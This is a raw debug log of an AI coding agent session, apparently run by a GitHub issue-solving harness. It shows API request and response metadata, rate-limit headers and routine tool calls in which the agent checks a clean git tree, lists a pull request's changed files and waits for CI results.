[STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:33.380Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:33.382Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:33.384Z] [STDOUT]   },\n[2026-09-29T08:05:33.387Z] [STDOUT]   durationMs: 946,\n[2026-09-29T08:05:33.394Z] [STDOUT] }\n[2026-09-29T08:05:33.962Z] [INFO] {\n[2026-09-29T08:05:33.962Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:33.962Z] [INFO]   \"message\": {\n[2026-09-29T08:05:33.962Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"id\": \"msg_011CfXPHknW78AHTMfHFEjDR\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:33.962Z] [INFO]     \"content\": [\n[2026-09-29T08:05:33.962Z] [INFO]       {\n[2026-09-29T08:05:33.962Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"id\": \"toolu_0111rbenRq2ckp359CvNAnRk\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:33.962Z] [INFO]         \"input\": {\n[2026-09-29T08:05:33.962Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; git status --short | head; gh pr diff 648 --name-only\",\n[2026-09-29T08:05:33.962Z] [INFO]           \"description\": \"Confirm clean tree and PR file list\"\n[2026-09-29T08:05:33.962Z] [INFO]         },\n[2026-09-29T08:05:33.962Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:33.962Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:33.962Z] [INFO]         }\n[2026-09-29T08:05:33.962Z] [INFO]       }\n[2026-09-29T08:05:33.962Z] [INFO]     ],\n[2026-09-29T08:05:33.962Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:33.962Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:33.962Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_creation_input_tokens\": 727,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_read_input_tokens\": 99765,\n[2026-09-29T08:05:33.962Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:33.962Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:33.962Z] [INFO]         \"ephemeral_1h_input_tokens\": 727\n[2026-09-29T08:05:33.962Z] [INFO]     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\"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:05:39.251Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:05:39.253Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:05:39.255Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:05:39.257Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T08:05:39.259Z] [STDOUT]   \"request-id\": \"req_011CfXPJCYJewGKCNTxKFgV3\",\n[2026-09-29T08:05:39.261Z] [STDOUT]   \"traceresponse\": \"00-980067ff0f757e192b2dac374c782d5a-f124f690c5d30395-01\",\n[2026-09-29T08:05:39.262Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:05:39.264Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T08:05:39.266Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T08:05:39.268Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T08:05:39.270Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T08:05:39.271Z] [STDOUT]   \"cf-ray\": \"a4297be16f725d90-FRA\",\n[2026-09-29T08:05:39.273Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T08:05:39.275Z] [STDOUT] [log_9bf092] response parsed {\n[2026-09-29T08:05:39.277Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:05:39.280Z] [STDOUT]   status: 200,\n[2026-09-29T08:05:39.282Z] [STDOUT]   body: X {\n[2026-09-29T08:05:39.284Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:05:39.288Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:05:39.299Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:05:39.305Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:05:39.309Z] [STDOUT]     },\n[2026-09-29T08:05:39.311Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:05:39.325Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:05:39.359Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:05:39.373Z] [STDOUT]   },\n[2026-09-29T08:05:39.378Z] [STDOUT]   durationMs: 902,\n[2026-09-29T08:05:39.380Z] [STDOUT] }\n[2026-09-29T08:05:39.831Z] [INFO] {\n[2026-09-29T08:05:39.831Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"message\": {\n[2026-09-29T08:05:39.831Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:39.831Z] [INFO]     \"content\": [\n[2026-09-29T08:05:39.831Z] [INFO]       {\n[2026-09-29T08:05:39.831Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T08:05:39.831Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T08:05:39.831Z] [INFO]         \"signature\": \"CAQS/AQKEAgSGAI4AUIIdGhpbmtpbmcSDFbwROOpjxePZuhCuBoMlluX4bu+IBlZquE6IjDGmi6fA8PYy5DS4w/LaVpe29IuTo9ZvVJ9BUdf5XjCAX2M2vXYBz6EJnZeTaFQPZEqmQSpoBv+jdnCOV0hOp7w8qkWLq0U8/blcq1oPKkYBSjYs9tAF3LDgt70AhBKIsEX2z4PYL/1GByGi0yhOFqppR1h79stdjkcg/xeBzxb7CeVqgWjkWnu9bFme9VyRaA/DkYlK4WT+wbIaOpuNN4TcpkbhJJ9tXHLwgoWeKy+0MEYp14vtluhhyJxSHRbUE8EA27cgrTubmX/zLJZxB0hPiAtI9uhtbVdpddgoqUIuQXvukOQNla66H75KtNhfM82qPW/NyTI4f/ZKB7BxoPmB0D2BDIrjHBGoK6yHkxMMK+frff8i5eG0YReBpLZs1GKzY/ZivKR+NBa9QCrFsl+4Saob3PC4O8iCAKjYwRe1k+G4DJzARt9oGij+c/3rAY/ZfjiTFy8Pk2CJRYT/GMW1hLiGXgIHxkAVBAgR1zq9gsD1yJQAGXSP7Cw4vmE5+ZZad/I4NPIloey6Ddh5xhBMWEKr5Ppuwe8G4wmCwU+9KKICeKxQJ/FvoOCd8p5AlQ/mlVVEMj/NGKTFjRgx31Wy6fTWpKUCvLvelbGqe+FbcOe2X2ErapX1WbimTEdFUfUSinhoJ3OCGmwa+lZX6t5ELjA3y6tdZMrtB4iAcMFKjSj7uXwvxiiSTq2PTx8CsKKi5WZ343iaOJeOCHIYFNnKcVzgaWvbWPoOrHpbXcq/4HnEKH1zfemDjMnCQ52N6Ponf/JEcQs484ba+oYAQ==\"\n[2026-09-29T08:05:39.831Z] [INFO]       }\n[2026-09-29T08:05:39.831Z] [INFO]     ],\n[2026-09-29T08:05:39.831Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:39.831Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:39.831Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:39.831Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:39.831Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:39.831Z] [INFO]       },\n[2026-09-29T08:05:39.831Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:39.831Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:39.831Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:39.831Z] [INFO]     },\n[2026-09-29T08:05:39.831Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:39.831Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:39.831Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:39.831Z] [INFO]   },\n[2026-09-29T08:05:39.831Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:39.831Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"uuid\": \"c087a928-bc3e-49d6-94c9-645e64d69eb9\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:39.807Z\",\n[2026-09-29T08:05:39.831Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\"\n[2026-09-29T08:05:39.831Z] [INFO] }\n[2026-09-29T08:05:39.843Z] [INFO] {\n[2026-09-29T08:05:39.843Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"message\": {\n[2026-09-29T08:05:39.843Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:39.843Z] [INFO]     \"content\": [\n[2026-09-29T08:05:39.843Z] [INFO]       {\n[2026-09-29T08:05:39.843Z] [INFO]         \"type\": \"text\",\n[2026-09-29T08:05:39.843Z] [INFO]         \"text\": \"The working tree is clean. The PR diff contains exactly the four intended files, and `.gitkeep` nets out. Waiting for CI:\"\n[2026-09-29T08:05:39.843Z] [INFO]       }\n[2026-09-29T08:05:39.843Z] [INFO]     ],\n[2026-09-29T08:05:39.843Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:39.843Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:39.843Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:39.843Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:39.843Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:39.843Z] [INFO]       },\n[2026-09-29T08:05:39.843Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:39.843Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:39.843Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:39.843Z] [INFO]     },\n[2026-09-29T08:05:39.843Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:39.843Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:39.843Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:39.843Z] [INFO]   },\n[2026-09-29T08:05:39.843Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:39.843Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"uuid\": \"b3bda9d4-2c8b-406d-8031-1b91b56d9c29\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:39.813Z\",\n[2026-09-29T08:05:39.843Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\"\n[2026-09-29T08:05:39.843Z] [INFO] }\n[2026-09-29T08:05:42.890Z] [INFO] {\n[2026-09-29T08:05:42.890Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"message\": {\n[2026-09-29T08:05:42.890Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"id\": \"msg_011CfXPJD5oTbvPgpmHQdDnH\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"type\": \"message\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T08:05:42.890Z] [INFO]     \"content\": [\n[2026-09-29T08:05:42.890Z] [INFO]       {\n[2026-09-29T08:05:42.890Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"id\": \"toolu_01YG3xDZESjaLs9PquyHaNUu\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T08:05:42.890Z] [INFO]         \"input\": {\n[2026-09-29T08:05:42.890Z] [INFO]           \"command\": \"until grep -q 'exit' /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output 2>/dev/null && [ $(grep -c exit /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output) -ge 2 ]; do sleep 10; done; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output\",\n[2026-09-29T08:05:42.890Z] [INFO]           \"description\": \"Wait until both CI runs report\",\n[2026-09-29T08:05:42.890Z] [INFO]           \"timeout\": 600000\n[2026-09-29T08:05:42.890Z] [INFO]         },\n[2026-09-29T08:05:42.890Z] [INFO]         \"caller\": {\n[2026-09-29T08:05:42.890Z] [INFO]           \"type\": \"direct\"\n[2026-09-29T08:05:42.890Z] [INFO]         }\n[2026-09-29T08:05:42.890Z] [INFO]       }\n[2026-09-29T08:05:42.890Z] [INFO]     ],\n[2026-09-29T08:05:42.890Z] [INFO]     \"container\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"stop_details\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"usage\": {\n[2026-09-29T08:05:42.890Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_creation_input_tokens\": 255,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_read_input_tokens\": 100492,\n[2026-09-29T08:05:42.890Z] [INFO]       \"cache_creation\": {\n[2026-09-29T08:05:42.890Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T08:05:42.890Z] [INFO]         \"ephemeral_1h_input_tokens\": 255\n[2026-09-29T08:05:42.890Z] [INFO]       },\n[2026-09-29T08:05:42.890Z] [INFO]       \"output_tokens\": 8,\n[2026-09-29T08:05:42.890Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T08:05:42.890Z] [INFO]     },\n[2026-09-29T08:05:42.890Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T08:05:42.890Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T08:05:42.890Z] [INFO]     \"context_management\": null\n[2026-09-29T08:05:42.890Z] [INFO]   },\n[2026-09-29T08:05:42.890Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T08:05:42.890Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"uuid\": \"7888c873-aa89-4376-b799-5d71ccf9435a\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"timestamp\": \"2026-09-29T08:05:42.805Z\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"request_id\": \"req_011CfXPJCYJewGKCNTxKFgV3\",\n[2026-09-29T08:05:42.890Z] [INFO]   \"wire_tool_inputs\": {\n[2026-09-29T08:05:42.890Z] [INFO]     \"toolu_01YG3xDZESjaLs9PquyHaNUu\": {\n[2026-09-29T08:05:42.890Z] [INFO]       \"command\": \"until grep -q 'exit' /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output 2>/dev/null && [ $(grep -c exit /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output) -ge 2 ]; do sleep 10; done; cat /tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/bf11qfocy.output\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"description\": \"Wait until both CI runs report\",\n[2026-09-29T08:05:42.890Z] [INFO]       \"timeout\": 600000\n[2026-09-29T08:05:42.890Z] [INFO]     }\n[2026-09-29T08:05:42.890Z] [INFO]   }\n[2026-09-29T08:05:42.890Z] [INFO] }\n[2026-09-29T08:05:43.028Z] [INFO] {\n[2026-09-29T08:05:43.028Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T08:05:43.028Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T08:05:43.028Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T08:05:43.028Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T08:05:43.028Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T08:05:43.028Z] [INFO]     \"utilization\": 0.79,\n[2026-09-29T08:05:43.028Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T08:05:43.028Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T08:05:43.028Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T08:05:43.028Z] [INFO]       \"five_hour\": {\n[2026-09-29T08:05:43.028Z] [INFO]         \"utilization\": 0.48,\n[2026-09-29T08:05:43.028Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T08:05:43.028Z] [INFO]       },\n[2026-09-29T08:05:43.028Z] [INFO]       \"seven_day\": {\n[2026-09-29T08:05:43.028Z] [INFO]         \"utilization\": 0.79,\n[2026-09-29T08:05:43.028Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T08:05:43.028Z] [INFO]       }\n[2026-09-29T08:05:43.028Z] [INFO]     }\n[2026-09-29T08:05:43.028Z] [INFO]   },\n[2026-09-29T08:05:43.028Z] [INFO]   \"uuid\": \"94d0b294-8ef8-49ef-ac04-4d983edbc713\",\n[2026-09-29T08:05:43.028Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T08:05:43.028Z] [INFO] }\n[2026-09-29T08:05:46.102Z] [INFO] {\n[2026-09-29T08:05:46.102Z] [INFO]   \"type\": \"system\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"subtype\": \"task_started\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"task_id\": \"b8uo1cwbe\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"tool_use_id\": \"toolu_01YG3xDZESjaLs9PquyHaNUu\",\n[2026-09-29T08:05:46.102Z] [INFO]   \"description\": \"Wait until both CI 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\"noOutputExpected\": false\n[2026-09-29T08:07:36.287Z] [INFO]   }\n[2026-09-29T08:07:36.287Z] [INFO] }\n[2026-09-29T08:07:36.371Z] [STDOUT] [log_973834] sending request {\n[2026-09-29T08:07:36.376Z] [STDOUT]   method: \"POST\",\n[2026-09-29T08:07:36.386Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:36.407Z] [STDOUT]   options: {\n[2026-09-29T08:07:36.419Z] [STDOUT]     method: \"post\",\n[2026-09-29T08:07:36.424Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T08:07:36.427Z] [STDOUT]     body: {\n[2026-09-29T08:07:36.433Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T08:07:36.438Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T08:07:36.441Z] [STDOUT]       system: [Array ...],\n[2026-09-29T08:07:36.443Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T08:07:36.447Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T08:07:36.456Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T08:07:36.462Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T08:07:36.464Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T08:07:36.468Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T08:07:36.471Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T08:07:36.473Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T08:07:36.479Z] [STDOUT]       stream: true,\n[2026-09-29T08:07:36.486Z] [STDOUT]     },\n[2026-09-29T08:07:36.490Z] [STDOUT]     timeout: 600000,\n[2026-09-29T08:07:36.493Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T08:07:36.499Z] [STDOUT]       aborted: false,\n[2026-09-29T08:07:36.508Z] [STDOUT]       reason: undefined,\n[2026-09-29T08:07:36.511Z] [STDOUT]       onabort: null,\n[2026-09-29T08:07:36.518Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T08:07:36.522Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T08:07:36.525Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T08:07:36.527Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T08:07:36.529Z] [STDOUT]     },\n[2026-09-29T08:07:36.530Z] [STDOUT]     stream: true,\n[2026-09-29T08:07:36.532Z] [STDOUT]   },\n[2026-09-29T08:07:36.536Z] [STDOUT]   headers: {\n[2026-09-29T08:07:36.539Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T08:07:36.541Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T08:07:36.544Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T08:07:36.546Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T08:07:36.548Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T08:07:36.550Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T08:07:36.554Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T08:07:36.563Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T08:07:36.569Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T08:07:36.574Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=113267\",\n[2026-09-29T08:07:36.576Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T08:07:36.578Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T08:07:36.581Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T08:07:36.584Z] [STDOUT]     \"x-client-request-id\": \"9a912c21-9926-4ac4-bcd5-515e423c294e\",\n[2026-09-29T08:07:36.594Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T08:07:36.598Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T08:07:36.606Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T08:07:36.609Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T08:07:36.619Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T08:07:36.642Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T08:07:36.659Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T08:07:36.664Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T08:07:36.669Z] [STDOUT]   },\n[2026-09-29T08:07:36.671Z] [STDOUT] }\n[2026-09-29T08:07:37.591Z] [STDOUT] [log_973834, request-id: \"req_011CfXPSv7M2bm3Pjq1Gvf2Q\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1220ms\n[2026-09-29T08:07:37.593Z] [STDOUT] [log_973834] response start {\n[2026-09-29T08:07:37.597Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:37.599Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:37.603Z] [STDOUT]   headers: {\n[2026-09-29T08:07:37.614Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T08:07:37.620Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T08:07:37.627Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T08:07:37.632Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.49\",\n[2026-09-29T08:07:37.634Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T08:07:37.637Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T08:07:37.639Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T08:07:37.642Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.79\",\n[2026-09-29T08:07:37.645Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T08:07:37.651Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T08:07:37.653Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": 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url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T08:07:37.816Z] [STDOUT]   status: 200,\n[2026-09-29T08:07:37.818Z] [STDOUT]   body: X {\n[2026-09-29T08:07:37.820Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T08:07:37.822Z] [STDOUT]     controller: AbortController {\n[2026-09-29T08:07:37.825Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T08:07:37.827Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T08:07:37.828Z] [STDOUT]     },\n[2026-09-29T08:07:37.830Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T08:07:37.832Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T08:07:37.834Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T08:07:37.835Z] [STDOUT]   },\n[2026-09-29T08:07:37.837Z] [STDOUT]   durationMs: 1223,\n[2026-09-29T08:07:37.838Z] [STDOUT] }\n[2026-09-29T08:07:37.842Z] [INFO] {\n[2026-09-29T08:07:37.842Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T08:07:37.842Z] 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{\n[2026-09-29T08:07:46.651Z] [INFO]   \"type\": \"user\",\n[2026-09-29T08:07:46.651Z] [INFO]   \"message\": {\n[2026-09-29T08:07:46.651Z] [INFO]     \"role\": \"user\",\n[2026-09-29T08:07:46.651Z] [INFO]     \"content\": 